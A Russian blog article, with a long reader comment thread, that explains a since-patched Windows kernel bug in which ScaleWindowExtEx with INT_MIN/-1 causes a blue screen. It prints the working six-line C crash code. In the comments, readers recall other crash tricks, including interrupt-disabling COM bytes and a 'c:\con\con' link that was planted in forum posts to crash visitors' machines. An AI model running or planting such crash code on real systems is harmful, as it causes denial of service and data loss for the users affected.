Как уронить Windows шестью строчками кода

См. также: Microsoft исправила уязвимость с синим экраном

Однажды один знакомый рассказал мне про одну уязвимость в Windows. А именно из-за нее можно легко вызвать синий экран смерти шестью строчками кода на Си. Причем программа не требует никаких прав администратора и вызывает только одну функцию масштабирования окна.




Немного теории

В случае недопустимой инструкции процессор бросает исключение, а ОС уже сама решает, что с этим делать. Если это ошибка в программе и она никак не обрабатывается, то система выдает всем известное сообщение о том, что прекращена работа программы.

Например, в этом коде деление на ноль — недопустимая инструкция.
#include <stdio.h>

int main()
{
    int a = 2 / 0;
    printf ("%d", a);
    return 0;
}

Если скомпилировать этот код без оптимизации, то мы увидим то самое окно о прекращении работы программы (конечно, компилятор выдаст warning).

Если же выполняется недопустимая инструкция в ядре системы, то все немного интереснее: мы увидим синий экран.

INT_MIN / -1

Есть еще одна исключительная инструкция — деление INT_MIN на -1.
Дело в том, что INT_MIN=−2,147,483,648=-231, а INT_MAX=2,147,483,647=231-1. Довольно очевидно, почему они отличаются на единицу: невозможно в int запихнуть ноль, множество положительных чисел и множество отрицательных чисел так, чтобы количество положительных и отрицательных чисел было равно.
Получается, при делении INT_MIN на -1 результат не умещается в int и процессор бросает исключение.

Следующий код, скомпилированный без оптимизации, вызывает исключительную инструкцию:
#include <stdio.h>
#include <limits.h>

int main()
{
    int a = INT_MIN;
    int b = -1;
    int c = a / b;
    printf ("%d", c);
    return 0;
}


Ядро Windows

В ядре Windows принято не использовать переменные с плавающей точкой. Прямо вообще-вообще не использовать. Поэтому когда приходится работать с чем-то нецелым, используют две целочисленные переменные: числитель и знаменатель.
Также для увеличения производительности некоторые WinAPI функции, вызываемые программой, выполняются в ядре системы. Пример такой функции — ScaleWindowExtEx. Она ничего особенного не делает — функция масштабирует окно.
Прототип функции:
BOOL ScaleWindowExtEx(
  _In_   HDC hdc,
  _In_   int Xnum,
  _In_   int Xdenom,
  _In_   int Ynum,
  _In_   int Ydenom,
  _Out_  LPSIZE lpSize
);


Сама программа

Отлично, это то, что нам нужно. Второй и третий параметры, четвертый и пятый параметры — это как раз числитель и знаменатель.
Xnum / Xdenom — масштабирование по x.
Ynum / Ydenom — масштабирование по y.
Но функция не всегда делит одно число на другое. Функция будет делить одно число на другое в случае, если разметка контекста рисования (device context) располагается справа налево. В противном случае она, видимо, будет перед делением как-то менять эти числа. Чтобы поменять разметку контекста, есть функция SetLayout.
Значит, создаем контекст рисования вызовом CreateCompatibleDC (NULL). Устанавливаем разметку контекста с помощью SetLayout. После чего вызываем функцию ScaleWindowExtEx с нужными параметрами.
Конечно, программисты Майкрософт не полные дебилы проверяют деление на ноль, и передачей третьим параметром числа ноль Windows не уронишь.
Но вот деление INT_MIN на -1 они не проверяют. Из-за чего происходит необработанное исключение в ядре системе, что приводит к синему экрану.
Такой код программы при добавлении библиотеки gdi32.lib уронит Windows:
#include <windows.h>
#include <limits.h>

int main()
{
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}

Его можно подсократить до шести строчек для добавления пафосного заголовка:
#include <windows.h>
int main() {
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}

Тут INT_MIN заменен на -2147483648, чтобы не добавлять лишнюю строчку, подключая файл limits.h. Конечно, можно код сократить до двух строчек, но тогда он уже будет совсем нечитабелен. Да и все функции на Си всегда можно сократить в одну очень-очень длинную строчку.

Система падает на Windows Vista, 7 и 8. Баг наблюдался как на 32-разрядной системе, так и на 64-разрядной (хотя на 64-разрядной не всегда этот баг наблюдается).

P.S. Раньше с помощью такой недопустимой инструкции можно было убить bash, но сейчас это исправили.

UPDATE1: Изменил ((int) 0x8000/0x80000000) на (-2147483647 — 1), теперь должно работать. Спасибо, AndreyDmitriev и alper.
UPDATE2: Microsoft исправила эту уязвимость.
UPDATE3: Ссылка на статью «первооткрывателя»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.
Поделиться публикацией

Комментарии 256

    +98
    Эх молодежь… А еще лет 15 назад всего то две команды ассемблера нужны были:
    1) запретить все прерывания
    2) уйти в режим ожидания прерывания
    Конечно не синий экран, но только хардрезет помогал вернуться в систему.
      +80
      В 95 надо было в блокноте написать «ъль», переименовать в com и запустить. «ъ» — запрет прерываний, а «ль» — вроде, прыжок на предыдущую инструкцию. Хотя за давностью лет, могу и напутать.
        +4
        Ага, именно так — прыжок на предыдущую инструкцию для бесконечного цикла.
        Интересно то, что если процессор Intel и под OS/2, то эту задачу можно было убить без перезагрузки в силу особенности многозадачности этой ОС на процессорах Intel. Эта особенность иногда использовалась для холиваров Intel-AMD в своё время.
          +1
          а cli / hlt чем хуже был? :)
            0
            Не помню подробности. Вроде DOS вис, а Windows не вис. На бесконечном цикле Windows точно вис.
            За давним временем могу, конечно, путать по поводу cli,hlt.
              0
              До SMP команды cli / hlt гарантированно останавливали любой проц (до появления первого прерывания, которые отключены)
                +3
                cli не отключает немаскируемые прерывания
              –2
              не так. CLI / STI.
                0
                STI это установка флага разрешения прерываний. А автор имел в виду выключить прерывания и сделать останов процессора.
                  0
                  я понял, но процитирую то, что осталось из OS/2 Warp 3 до определенного FixPack:

                  Для работы с прерываниями используются команды микропроцессора:
                  Sti — set interrupt (I=1, разрешить прерывание)
                  Cli — clear interrupt (I=0, запретить прерывание)

                  Если за командой CLI не следует STI, то машина “зависает”, так как клавиатура не реагирует на нажатие клавиш. Для программирования прерываний используется IMR — регистр маски прерываний.
            +3
            Насколько я помню, этими «тремя заветными байтами» были FA EB FE, т.е. третьим символом должно быть «ю».
              –1
              Вроде бы FE EF BA
                –1
                FA EB FD
                cli; jmp $-2
                  0
                  Сколько вариантов :)
                    +2
                    Это как у вас -2 превратился в FD?
                      –2
                      синтаксис tasm. или nasm. уже не помню.

                      The first byte of a SHORT Jump is always EB and the second is a relative offset from 00h to 7Fh for Forward jumps, and from 80h to FFh for Reverse (or Backward) jumps.
                        +4
                        Это не отменяет того факта, что -2 = FE
                      +1
                      тогда уж jmp $
                      "$ evaluates to the assembly position at the beginning of the line containing the expression"
                  –6
                  Ух! Интересно! А можно сейчас в блокноте чтонибудь написать, переименовать в ехе и запустить?)
                  Или мп3 пару мелодий написать))
                +85
                Эх молодежь… А еще лет 65 назад всего то один мотылек нужен был:
                1) берем мотылька
                2) помещаем в реле
                Конечно не синий экран смерти, но только ругательства инженеров и переборка половины машины помогали вернуться в систему.
                https://ru.wikipedia.org/wiki/Баг
                  +35
                  всего то один мотылек
                    –13
                    Настоящие программисты пишут
                    c:\>copy con program.exe
                    
                      +16
                      Это неправославный аналог cat.
                        –7
                        вроде, cat так не умеет
                          –3
                          Умеет, достаточно сделать cat без параметров.
                          Чтобы выйти нажать Ctrl-C
                            +12
                            Ctrl-D же, чтоб конец файла послать.
                              +3
                              а, и правда. век живи — век учись.
                                +2
                                Обычно рекомендуют такую конструкцию:
                                $ cat <<EOF > filename
                                > line 1
                                > line 2
                                > EOF
                                

                                ("> " ставится автоматически)
                                Можно скопипастить (без "> ") и не требуется магических комбинаций клавиш.
                                  0
                                  Лучше в примерах сразу писать без >, чем объяснять, что его там нет. А то PS2 может быть разным.

                                  cat << EOF интересен не тем, что не нужны «магические» комбинации клавиш (кстати, stty eof $new позволит вам поменять <C-d> на что‐то другое). А тем, что, во‐первых, может быть использован в скриптах (<C-d> нельзя), во‐вторых, использует zle/readline/libedit/…, позволяя вносить правки в текущую строку, и, в‐третьих, полностью сохраняются в истории (т.е. можно вносить правки после запуска команды, хотя работа с многострочным вводом в оболочках не слишком удобна, да и именно код после << EOF сохраняют не все).
                          +3
                          и не помнят, как оттуда выйти :)
                        +5
                        Сборка emacs под Debian умеет M-x butterfly с 2009.

                        Источник: multithread.org/?q=node/108
                        +2
                        Ну, надо сказать, что сейчас этот способ все еще работает :)
                        +39
                        Сейчас сюда придет товарищ с ником, состоящим из двух этих команд.
                          +71
                          тадам!
                            +38
                            Та-да-да-дам!
                              +4
                              как у вас хорошо получилось :)
                          +1
                          А в наше время писалось что-то типа while (true) { fork(); }
                            –3
                            Приводить данный код без метода «fork();» Не имеет смысла.
                            Или у вас там только чистая нагрузка на цп?
                            Да и вообще в статье не об этом.
                            Завтра, кстати, попробую, расскажу о результатах с мингв.
                              0
                                +1
                                Понял. Спасибо.
                                Кстати на mingw скомпилировалось и наура, но возникла маленькая проблема.
                                Если у вас компилятор ругается на SetLayout. Вот в этом месте (wingdi.h) тот самый прототип.
                                #if (WINVER >= 0x0500)
                                WINGDIAPI DWORD WINAPI GetLayout(HDC);
                                WINGDIAPI DWORD WINAPI SetLayout(HDC, DWORD);
                                #endif
                                

                                Скорее всего WINVER = 0x0400.
                                Чтобы исправить достаточно добавить «7 строку» с этим прототипом.
                                #include <windows.h>
                                WINGDIAPI DWORD WINAPI SetLayout(HDC, DWORD);
                                
                                int main()
                                {
                                //////
                                
                            +1
                            F0 0F C7 C8 CD 20
                              0
                              Только для Intel Pentium MMX и int 20h уже не нужен.
                                0
                                Ну так это как раз для всех остальных.
                                  0
                                  А, сообразил: чтоб на других процессорах нормально завершилась программка.
                            +30
                            <a href="file://c:\con\con">Супер ссылка</a>
                            Вышибало 95\98. Люди удивлялись, ругались, перезагружались и жали на «Супер ссылку» заново.
                              +2
                              А ещё можно было на сайте разместить ссылку на картинку с таким адресом. Тогда вышибало при входе на этот сайт.
                                +9
                                Ага, такое можно было запостить и на форумы (в Ikonboard 2.x прокатывало). Помню, все жаловались, почему форум перезагружает им винду, а у админа была Win2k и он не мог понять, чего от него хотят.
                                  0
                                  cd con\con так же действовал.
                                +4


                                А вот у людей есть такие папки
                                  +2
                                  А их никто и не запрещает их создавать. Если не даёт система, то есть и другие способы. Можно, например, зайти на компьютер с Windows через samba-клиента на Linux и создать там папку с точкой в конце имени. Потом сколько не изголяйся на Windows, удалить эту папку никоим образом не получится, кроме как снова зайти из Linux и удалить.
                                    +2
                                    CreateFile с FILE_FLAG_POSIX_SEMANTICS и FILE_FLAG_DELETE_ON_CLOSE не поможет?
                                      0
                                      Я некоторое время назад перестал пользоваться Windows постоянно. Интересно было бы почитать о тонкостях этой системы, ибо с ней постоянно сталкиваешься. Можете дать ссылки по теме? Или сами написать подробнее.
                                        0
                                        Я обычно читаю вот тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
                                        Про FILE_FLAG_DELETE_ON_CLOSE я прочитал тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915(v=vs.85).aspx
                                          –2
                                          Особенности Советского образования заставили меня учить немецкий в школе. В результате я хреново ориентируюсь в английском и совершенно не знаю немецкого. Буду благодарен, если напишете статью. Думаю и другие на хабре будут не против. Тем более в особенностях Windows очень много скрытых вещей.
                                            +1
                                            Совесткого? Вы 90го года, в это время у всех был выбор, если не языка. то школы точно. Да и никто не мешает учить язык самому. Я сам учил, в школе не научили.
                                              0
                                              Я учился в глубинке России, где и сейчас живу. В наше время сказали только немецкий, так и учил немецкий. Годом позже появился английский. Но увы, я мог учить только свой. В результате учил по книгам английский. Он был нужен просто самому. Всё ПО, что у меня тогда было, было на английском.
                                                0
                                                Хм, нет, у меня глюки. странно, прошу прощения. Посмотрел по кэшу гугла.
                                                  0
                                                  Всегда был 80-го. Сейчас проверил. Я дату рождения всегда рандомно ставлю… но не год.
                                          +1
                                          Книгу «Windows Internals» Марка Руссиновича и других.
                                        +1
                                        Никаких проблем с Windows:
                                        mkdir \\?\c:\temp\con
                                        rmdir \\?\c:\temp\con
                                          +1
                                          Вы в Windows 95/98 пробовали? Багу с con они только подвержены.
                                            +1
                                            Это же не баг, а просто наследие доса в виде его служебных слов.
                                          0
                                          До некоторого времени, если я не ошибаюсь, ntfs драйвер под линуху позволял писать в имена файлов все то, что можно писать и в ext разделах, тоесть всякие служебные символы, типа ?*/\. При попытке открыть/удалить/переименовать это в винде у нее клинило моск. Сделать что-то с таким файлом, помещенным в корень диска, средствами проводника и консоли было не возможно.
                                          +3
                                          русская «с» или «о»?
                                            0
                                            ууу… я так в далеком 90-м году великого программиста «хакнул». Переименовал в его любимой foxbase.exe иксы на русскую ХА. Долго он мучился в Norton Commander, пока не сообразил запустить DIR и изучить названия файлов. А прежде ему пришлось час потратить на изучение настроек DOS и конфигурацию NC.
                                              +3
                                              Старый прикол. Шесть command.com под DOSом :)
                                            0
                                            Тогда vbscript из браузера умел тупо выполнять что угодно через shell.
                                            +49
                                            Это в виндовс 8 такое няшное окно смерти?
                                              0
                                              да
                                                0
                                                Да, только без градиента
                                                  +22
                                                  Самое удивительное, что его ни разу не видел, хотя сижу с релиза.
                                                  Вот и посмотрел на скриншоте.
                                                    0
                                                    Я на него вдоволь насмотрелся, пытаясь установить на ноутбук HP dv6 драйвера на видеокарту ATI Radeon HD6550M. В конечном счете плюнул и пользуюсь интегрированной графикой Intel.

                                                    Совершенно непонятно, почему ни AMD, ни MS, ни HP эта распространенная проблема не беспокоит.
                                                      +1
                                                      Это не баг — это фитча.
                                                      Ну а если серьезно — Я помню то время когда спецы из M$ говорили — «перенос функций оконного интерфейса не будет влиять на безопасность»
                                                        +1
                                                        Пробовали вот это?
                                                        У меня AMD 6650M + Intel HD3000. Отлично все работает, еще с RC.

                                                        +На сайте HP была KBшка ещё, которую тоже желательно поставить (если я не ошибаюсь). К сожалению, не помню номер.
                                                        0
                                                        А я вижу его почти каждый раз, когда работаю с GNS3. При остановке эмуляции — краш.
                                                          0
                                                          Давненько на W8 DP пытался firewall поставить, каждая установка кончалась рожицей, приятного мало.
                                                            +1
                                                            > 14 мая 2013
                                                            > W8 DP
                                                            –3
                                                            стабильно раз в пару месяцев сам по себе падает уже с пол года.
                                                              +1
                                                              Гляньте железо. Конденсаторы на мамке или оперативку. Если железо совсем старое, например HARD IDE, тогда бывали «удачные» проблемы в самом шлейфе.
                                                                0
                                                                Да я в курсе всего этого, железо — новый ноут, не дешевый. Может с ним конечно беда и есть какая-то но так нареканий не вызывает, я изначально на драйвера грешил т.к. больше всего проблем с wifi, ноут вечно ложу спать и так через пару недель-месяц приходиться удалять и искать в диспетчере задач карту т.к. её впритык не видит (когда лень перезагружаться). В конечном счёте меня это особо не напрягает, жить можно но осадочек остаётся.
                                                                0
                                                                Danov всё верно говорит. Ещё бывает полезно «пересобрать» — снять озу, платы расширения, шлейфы отключить, а потом всё назад собрать. М.б. ещё паста на процессоре высохла. В общем стабильные бсоды это почти всегда железо, иногда бывают случаи очень кривых драйверов, но они редки.
                                                                0
                                                                У меня при выходе из гибернации падает раз в несколько недель. Два раза просто так падала.
                                                                  0
                                                                  Анализируйте дампы, смотрите в каком файле падает. Падение при выходе из гибернации с большей вероятностью кривость дров, или их несовместимость с железом. Ну т.е. как вариант может быть ещё проблема с биосом мамки, видяхи, или ещё какой железки.
                                                                    0
                                                                    Было такое, на ХР все работало, а на 7ке иногда падало при выходе из гибернации, очень бесило. Решилось заменой ОЗУ.
                                                                  +1
                                                                  Похоже. Кстати странное название для ошибки S*_V*_S*
                                                                  В windows 7 просто service что-то Exception.
                                                                  +1
                                                                  > Есть еще одна исключительная инструкция — деление INT_MIN на -1.

                                                                  И в то же время INT_MIN+INT_MIN вернет 0 и это никого не парит. Где логика, где разум?
                                                                    +5
                                                                    Казалось бы, с логикой всё в порядке.
                                                                    INT_MAX = 2^31 — 1
                                                                    -INT_MAX = -2^31 + 1
                                                                    INT_MIN = -2^31 = -INT_MAX — 1

                                                                    Значит INT_MIN + INT_MIN = INT_MIN — INT_MAX — 1
                                                                    Заметим, что INT_MIN — 1 = INT_MAX из-за переполнения.
                                                                    Тогда INT_MIN + INT_MIN = INT_MAX — INT_MAX = 0
                                                                    Что и требовалось доказать.

                                                                    Поправьте, если я ошибаюсь.
                                                                      +2
                                                                      Совершенно верно, в рамках того «как принято» именно так и есть. Но вот чем это принципиально отличается от INT_MIN/-1…
                                                                        0
                                                                        Тем, что есть инструкции знаковых и беззнаковых умножений-делений, а сложение только для беззнаковых (потому что специально такая форма записи отрицательных чисел была выбрана, чтобы можно было обойтись 1 инструкцией).
                                                                          0
                                                                          Тем, что вы получаете число, превышающее максимально допустимое (а не 0).
                                                                            0
                                                                            С помощью INT_MIN/-1 ничего полезного не получить, а сигнализировать желательно. А со сложением/вычитанием можно реализовывать точность больше разрядности процессора/регистров.
                                                                          +17
                                                                          INT_MIN+INT_MIN вернет 0 и установит флаги переноса и переполнения. А логика в том, что эта операция является совершенно корректной в кольце вычетов по модулю 2^32.
                                                                            +6
                                                                            Это особенности x86, сложение/вычитание/умножение никогда сами не возбуждают исключения из-за переполнения, а вот деление — да.
                                                                              +3
                                                                              INT_MIN+INT_MIN — это undefined behaviour.
                                                                                –1
                                                                                Интересно, почему заминусовали? Это из-за того, что разговор о винде, а значит x86 и msvc?
                                                                                  –1
                                                                                  Нет, потому что INT_MIN+INT_MIN — это совершенно корректная операция, подробнее писали выше habrahabr.ru/post/179543/#comment_6233471
                                                                                  • НЛО прилетело и опубликовало эту надпись здесь
                                                                                      +1
                                                                                      Переполнение знаковых целых в С является UB. Вот вам пример когда это проявляется.
                                                                                        0
                                                                                        Да, переполнение знаковых — UB, но INT_MIN — вполне конкретное число, а не любое знаковое.
                                                                                          0
                                                                                          … точно также и с другими специальными константами из limits. В физическом мире -∞ и +∞ числа далеко не конкретные, а лишь обозначающие некий диапазон. Однако в железках, в виду ограничения, вызванного реализацией (разрядностью) эти числа вполне конкретные.
                                                                                            0
                                                                                            p.s: Да и платформа вполне конкретная — x86, а самодеятельность компилятора отключена вместе с оптимизацией.
                                                                                            –1
                                                                                            Если переполнение любых знаковых чисел — UB, то и переполнение конкретных знаковых чисел вроде INT_MIN — UB. Компилятор, в частности, имеет право удалить все что следует за INT_MIN+INT_MIN;.
                                                                                        0
                                                                                        Наверное, потому что 0x80000000 + 0x80000000 всё же вполне себе «defined» behavior.
                                                                                          +3
                                                                                          Это вызывает знаковое переполнение, поэтому на С++ это, конечно же, undefined behavior.
                                                                                          +4
                                                                                          Наверное, потому что разговор по сути идет о командах процессора, а не о языке С
                                                                                      +2
                                                                                      Windows Server с Terminal Services падает, не проверяли?
                                                                                        +1
                                                                                        Не проверял, но интересно узнать результат.
                                                                                          0
                                                                                          Так попробуйте (только осторожно): BlueScreen
                                                                                          Я это с VS2012 скомпилировал, рантайм вот здесь, если что.
                                                                                          Win7 Home Premium x64 падает как при запуске 32-х, так и 64-х битного приложения.
                                                                                            +57
                                                                                            wine — падает с ошибкой деления на ноль. Обидно, такую фичу не портировали)))
                                                                                              –3
                                                                                              Установка библиотек потребует прав администратора, так что уронить сервер терминалов будет сложновато. ;)
                                                                                                +4
                                                                                                Что мешает собрать без CRT вообще? Выставить точку входа в WinMain и получить 10-килобайтный бинарник, зависящий лишь от kernel32 и gdi32.
                                                                                                  +5
                                                                                                  Библиотеку, согласно не такой древней традиции, можно положить в каталог с программой.
                                                                                                  0
                                                                                                  Забавно. Проверил вашу сборку. Собрал сам и с VS2012 и с MinGW — система не падает. Неужели исправили?
                                                                                                  Win 8 Pro with Media Center x64
                                                                                                    +1
                                                                                                    проверил — работает отлично. только из перезагрузки. заявленный функционал присутствует в полной мере. багов нет ;)

                                                                                                    win7 x64 (без апдейтов), bsod сразу после запуска ;)
                                                                                                      0
                                                                                                      Скомпилировал в VS2008 в 32bit, можно здесь взять. Для этого экзешника специальный рантайм вряд ли потребуется.

                                                                                                      Под WinXP 32bit молча перезагрузилось без синего экрана. В эвентлоге такое:
                                                                                                      System Error Error code 0000007f Parameters 00000000, 00000000, 00000000, 00000000
                                                                                                        0
                                                                                                        Да, зависимостей не должно быть — скомпилировал со статическим рантаймом. Можно хоть на голой XP пробовать. Интересно, может, у кого-нибудь Win2k завалялось?

                                                                                                        Кстати, кажется, при этой ошибке не сбрасываются дисковые кэши. Будьте осторожнее при испытаниях, возможна потеря данных.
                                                                                                        0
                                                                                                        win8 pro x64 — не падает ни 32, ни 64.
                                                                                                    +88
                                                                                                    Функция ресайза окна в ядре. Это прекрасно.
                                                                                                      +122
                                                                                                      Не, ну а куда его ещё с таким названием ОС?
                                                                                                        +2
                                                                                                        В своё время Марк Руссинович говорил, что ничего плохого в этом нет. И это было по-моему даже до его работы в MS.
                                                                                                          0
                                                                                                          Кстати таки да — даже весьма серьезные исследователи допускают такие ляпы.
                                                                                                          P.S. эх — хорошо что хоть в QNX такого нету, если что упало — то не страшно, пускай лежит дальше, а система продолжит работу :)
                                                                                                            +14
                                                                                                            QNX за это заплатил немалую цену. Но устойчивость системы впечатляет, я так и не смог крашнуть ядро, хотя я очень, очень старался.
                                                                                                          –11
                                                                                                          Подобные аспекты работы WIndows заставляют меня вспомнить старую «добрую» одноименную передачу с Дмитрием Нагиевым :)
                                                                                                            0
                                                                                                            Думается эта функция столь древняя, что осталась ещё со времён прямо работы с памятью видеокарты.
                                                                                                              0
                                                                                                              * со времён прямой работы с памятью видеокарты.
                                                                                                                +1
                                                                                                                Страшное слово Legacy. WinAPI — священная корова, его нельзя ломать без риска сломать некоторые приложения. Sun как-то умудрялся схранять legacy без серьезных проблем, а вот у МС с этим проблемы
                                                                                                              +1
                                                                                                              D:\down>cl w.c /link gdi32.lib
                                                                                                              Microsoft (R) C/C++ Optimizing Compiler Version 17.00.60315.1 for x86
                                                                                                              Copyright (C) Microsoft Corporation.  All rights reserved.
                                                                                                              
                                                                                                              w.c
                                                                                                              Microsoft (R) Incremental Linker Version 11.00.60315.1
                                                                                                              Copyright (C) Microsoft Corporation.  All rights reserved.
                                                                                                              
                                                                                                              /out:w.exe
                                                                                                              gdi32.lib
                                                                                                              w.obj
                                                                                                              
                                                                                                              D:\down>w
                                                                                                              


                                                                                                              Windows 7 x64, не падает
                                                                                                                +2
                                                                                                                У меня вот так не падает:
                                                                                                                ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL);

                                                                                                                А вот так падает:
                                                                                                                ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);

                                                                                                                Скорее всего компилятор что-то себе наоптимизировал, но разбираться, право, лень.

                                                                                                                Проект в комментах выше.
                                                                                                                  0
                                                                                                                  потверждаю, хотя и приходиться писать после BSOD-a :)
                                                                                                                    +10
                                                                                                                      +4
                                                                                                                      Ох и битва оценок у моего комментария. :)
                                                                                                                    +1
                                                                                                                    На Windows8 x64 и с ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL); не падает.
                                                                                                                    Выдает в консоль сообщение «ScaleWindowExtEx() failed»
                                                                                                                      +2
                                                                                                                      А впрочем ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL) и не должна падать, ведь (int) 0x8000/0x80000000 — это ж нуль просто. Вижу, автор в статье уже поправил.
                                                                                                                      –1
                                                                                                                      Windows 8 x64 не падает, расходимся
                                                                                                                      –4
                                                                                                                      А я знаю, как уронить Windows 8 x64 и не имея другой винды хрен подымешь:
                                                                                                                      нужно просто установить в систему неподписанный драйвер (любой) и всё!
                                                                                                                      1) При загрузке винда падает в синий экрна по причине наличия неподписанного драйвера
                                                                                                                      2) Варинта «Загрузить последнею удачную загрузку» (или как он там звучит) в восьмерки отсутствует
                                                                                                                      3) из под линухи удалить драйвер не получается — отказывается монтировать «коцанный» NTFS раздел, то есть нужно винда, чтобы chkdks проверить раздел и только потом удалять файл драйвера.

                                                                                                                      Это я выяснял, пока экспериментировал с установкой Астер v7 — зарепенился уже, даже включение тестового режима (перед установкой, естественно) не помогает.
                                                                                                                      И каждый раз приходиться подрубать диск через USB к ноуту. Иначе никак.

                                                                                                                      Совет вирусописателям — поставил драйвер, файл которого хрен сотрешь и гуляй
                                                                                                                        +1
                                                                                                                        есть же ntfsfix в линуксе
                                                                                                                          0
                                                                                                                          zuz@zuz-desktop:~$ sudo ntfsfix /dev/sda3
                                                                                                                          Mounting volume… Windows is hibernated, refused to mount.
                                                                                                                          FAILED
                                                                                                                          Attempting to correct errors…
                                                                                                                          Processing $MFT and $MFTMirr…
                                                                                                                          Reading $MFT… OK
                                                                                                                          Reading $MFTMirr… OK
                                                                                                                          Comparing $MFTMirr to $MFT… OK
                                                                                                                          Processing of $MFT and $MFTMirr completed successfully.
                                                                                                                          Setting required flags on partition… OK
                                                                                                                          Going to empty the journal ($LogFile)… OK
                                                                                                                          Windows is hibernated, refused to mount.
                                                                                                                          Remount failed: Operation not permitted
                                                                                                                            0
                                                                                                                            Восьмерка же не на ntfs, а на некой refs, которая не совсем с ней совместима.
                                                                                                                              +1
                                                                                                                              Хм, а почему же оно спокойно проверяется из-под Windows XP?
                                                                                                                              Да и какая разница, на чем она — результат-то один и тот же — не имея другой копии любой винды данную проблему не починить.
                                                                                                                                –3
                                                                                                                                Не имея другой копии винды даже установить винду проблематично.
                                                                                                                                0
                                                                                                                                Нет.
                                                                                                                                  –1
                                                                                                                                  Ну вот раздел с ntfs старый монтируется, а раздел с восьмеркой никак вообще, хотя он точно чистый и работа завершалась штатным образом. Что-то там в файлухе явно изменили.
                                                                                                                                    +3
                                                                                                                                    Во всяком случае ReFS это другая файловая система, доступна она только на серверной Windows и не для загрузочных дисков. В NTFS в связи с выходом Win8, насколько я знаю, ничего не менялось.
                                                                                                                                      0
                                                                                                                                      У меня монтируется либо после проверки chkdsk после этих экранов смерти, и до этого при отправке компьютера из Win 8 в «Перезагрузка»
                                                                                                                                  +5
                                                                                                                                  Для таких случаев ключик «force» у mount предусмотрен.
                                                                                                                                    +1
                                                                                                                                    zuz@zuz-desktop:~$ sudo mount /dev/sda3 /mnt -o force
                                                                                                                                    Windows is hibernated, refused to mount.
                                                                                                                                    Failed to mount '/dev/sda3': Операция не позволена
                                                                                                                                    The NTFS partition is in an unsafe state. Please resume and shutdown
                                                                                                                                    Windows fully (no hibernation or fast restarting), or mount the volume
                                                                                                                                    read-only with the 'ro' mount option.
                                                                                                                                      +1
                                                                                                                                      Судя по выводу, винда в сон ушла (вопрос — как и когда? во время bsod?), поэтому и редактировать раздел не рекомендуется. Гугл в первой же позиции выдал "-o remove_hiberfile".
                                                                                                                                      Да будет вам счастье.
                                                                                                                                        +1
                                                                                                                                        Насколько понимаю, восьмерка для ускорения загрузки использует механизм гибернации.
                                                                                                                                          0
                                                                                                                                          Спасибо большое за сей параметр — он помог.
                                                                                                                                          По поводу хибернейта — точно так же ругается mount на раздел, если выходя из винды восьмой сделать Завершение работы, а не Перезагрузиться (т.е. Завершение работы — это как раз и есть завершение всех программ+уход в хибернейт)
                                                                                                                                            0
                                                                                                                                            Ну нормальный способ выключить должен быть? Попробуйте alt зажать или win.
                                                                                                                                              0
                                                                                                                                              Не — это фишка восьмерки — при Завершении работы компьютер заметно быстрее загружается, чем после Перезагрузка.
                                                                                                                                                0
                                                                                                                                                Ну всё правильно, ибо выгружается только юзерспейс, а ядро уходит в спячку.
                                                                                                                                            0
                                                                                                                                            Дополню картину:
                                                                                                                                            моя восьмёрка иногда не выходит из спящего режима (из ждущего не вопрос) с выпадением в синий экран. Пара перезагрузок через ресет решает проблему и винда грузиться по холоду. НО! если вдруг она не загрузиться (ну мало ли что, ноут сдох), то всё!
                                                                                                                                            Смотрите:
                                                                                                                                            1) винда была в спящем и не проснулась/умер комп
                                                                                                                                            2) из под линухи подмонтировать нельзя даже с force и remove_hyberfile

                                                                                                                                            ~$ sudo mount -o remove_hyberfile,force /dev/sda3 /mnt/win7
                                                                                                                                            Windows is hibernated, refused to mount.
                                                                                                                                            Failed to mount '/dev/sda3': Операция не позволена
                                                                                                                                            The NTFS partition is in an unsafe state. Please resume and shutdown
                                                                                                                                            Windows fully (no hibernation or fast restarting), or mount the volume
                                                                                                                                            read-only with the 'ro' mount option.

                                                                                                                                            В описанном мною случае ранее винда не была в hybarnate, а перезагружалась.
                                                                                                                                            Меня еще добивает тот факт, что _все_ диски нельзя подмонтировать по причине хибернейта, если винда была в спячке.
                                                                                                                                        0
                                                                                                                                        странно, у меня проблема с монтированием была всего один раз — но пофиксил достаточно быстро именно из-под линукса.
                                                                                                                                          0
                                                                                                                                          Дайте угадаю — у вас была в тот момент не Windows 8?
                                                                                                                                      0
                                                                                                                                      Насколько я помню, ntfsfix просто ставит на фс флаг «нужна проверка», после чего венда при виде этого раздела во время загрузки запускает fsck.
                                                                                                                                      +1
                                                                                                                                      Раз нельзя загружать непрописанный драйвер, то почему его можно устанавливать? Разработчиков по объявлению набирали?
                                                                                                                                      0
                                                                                                                                      А ещё была такая команда C:/con/con :-)
                                                                                                                                        0
                                                                                                                                        XP и ниже зависал, если установить текущему потоку REALTIME приоритет, и запустить while(1)
                                                                                                                                          +22
                                                                                                                                          А вот это уже не бага, а фича!
                                                                                                                                            +2
                                                                                                                                            А тут уже права администратора нужны.
                                                                                                                                              +2
                                                                                                                                              А если многоядерная машина?)
                                                                                                                                                0
                                                                                                                                                А вот надо попробовать :)
                                                                                                                                                  0
                                                                                                                                                  Думаю, решение ненамного сложнее.
                                                                                                                                                    +1
                                                                                                                                                    То N таких программ повешают комп столь же надежно (N = числу ядер).
                                                                                                                                                    0
                                                                                                                                                    А современные системы не зависают (с правами администратора если запустить)? Что изменилось?
                                                                                                                                                      +1
                                                                                                                                                      UAC появился для любителей из-под админа работать. Между прочим, модель ничем не хуже sudo.
                                                                                                                                                        0
                                                                                                                                                        Это я в курсе.
                                                                                                                                                        Просто NLab пишет «XP и ниже зависал», не до конца понятно, что имел ввиду «любая версия винды, если с правами администратора».
                                                                                                                                                    0
                                                                                                                                                    Windows 2008 R2 Standart x64 не падает.

